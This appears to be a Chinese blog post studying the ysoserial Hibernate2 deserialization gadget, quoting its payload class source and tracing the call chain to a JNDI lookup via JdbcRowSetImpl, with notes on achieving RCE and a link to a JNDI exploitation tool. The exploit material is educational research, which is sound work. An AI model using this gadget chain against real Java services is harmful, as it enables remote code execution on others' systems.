Hibernate2反序列化|ysoserial学习(三)

Hibernate2反序列化|ysoserial学习(三)

Hibernate2-Gadget

/**
 *
 * Another application filter bypass
 *
 * Needs a getter invocation that is provided by hibernate here
 *
 * javax.naming.InitialContext.InitialContext.lookup()
 * com.sun.rowset.JdbcRowSetImpl.connect()
 * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue1.initialize()
 * org.hibernate.engine.spi.TypedValue1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * Arg:
 * - JNDI name (i.e. rmi:<host>)
 *
 * Yields:
 * - JNDI lookup invocation (e.g. connect to remote RMI)
 *
 * @author mbechler
 */

ysoserial源码

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAtLeast(7);
    }

    public static String[] getDependencies () {
        return Hibernate1.getDependencies();
    }

    public Object getObject ( String command ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(command);
        return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
    }

    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(Hibernate2.class, args);
    }
}

这里的源码相比于Hibernate1的链子可以说是少很多了,为什么? 因为就是在Hibernate1的基础上将后面调用部分的TemplatesImpl对象调用链修改成了JdbcRowSetImpl对象的调用链,同时将其调用函数从com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties改为了com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData

所以这里我们就直接对前面调用部分进行一个截图记录,到后面JdbcRowSetImpl#getDatabaseMetaData的调用部分再跟进学习吧.

Hibernate1部分

org.hibernate.engine.spi.TypedValue.hashCode()

image-20220910021101448

image-20220910021140603

image-20220910021206674

org.hibernate.internal.util.ValueHolder.getValue()

image-20220910021304695

org.hibernate.engine.spi.TypedValue$1.initialize()

image-20220910021355959

org.hibernate.type.ComponentType.getHashCode()

image-20220910021454157

org.hibernate.type.ComponentType.getPropertyValue(C)

image-20220910021542830

org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()

image-20220910021713573

org.hibernate.property.access.spi.GetterMethodImpl.get()

image-20220910021814220

com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData

image-20220910021916916

到这里这一步就是一个单线调用的过程, 继续执行了connect函数,继续跟进看一下

com.sun.rowset.JdbcRowSetImpl.connect

image-20220910022639935

回环之前的分析:羊城杯2022-simple_json

到这里其实可以说Hibernate的链子已经跟完了,因为调用了javax.naming.Context#lookup(java.lang.String)在一定条件下就可以通过触发lookup的远程加载漏洞从而进行RCE等漏洞利用了。

代码的内容可以说是和羊城杯2022-simple_json一模一样了(在Hibernate中我们可控getDataSourceName()的返回结果,在题目中我们能够控制this.target参数), 这里是题目漏洞点的关键代码:

image-20220911010227622

如果是在低版本JDK下几乎就是一个远程对象加载直接RCE, 在高版本下的话可以参考我的上一篇文章从羊城杯一道题学习高版本JDK下JNDI的利用,

另外这里再给一个高版本JDK下的JNDI注入利用和fuzz工具:

JNDIExp:: https://github.com/Bl0om/JNDIEXP

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇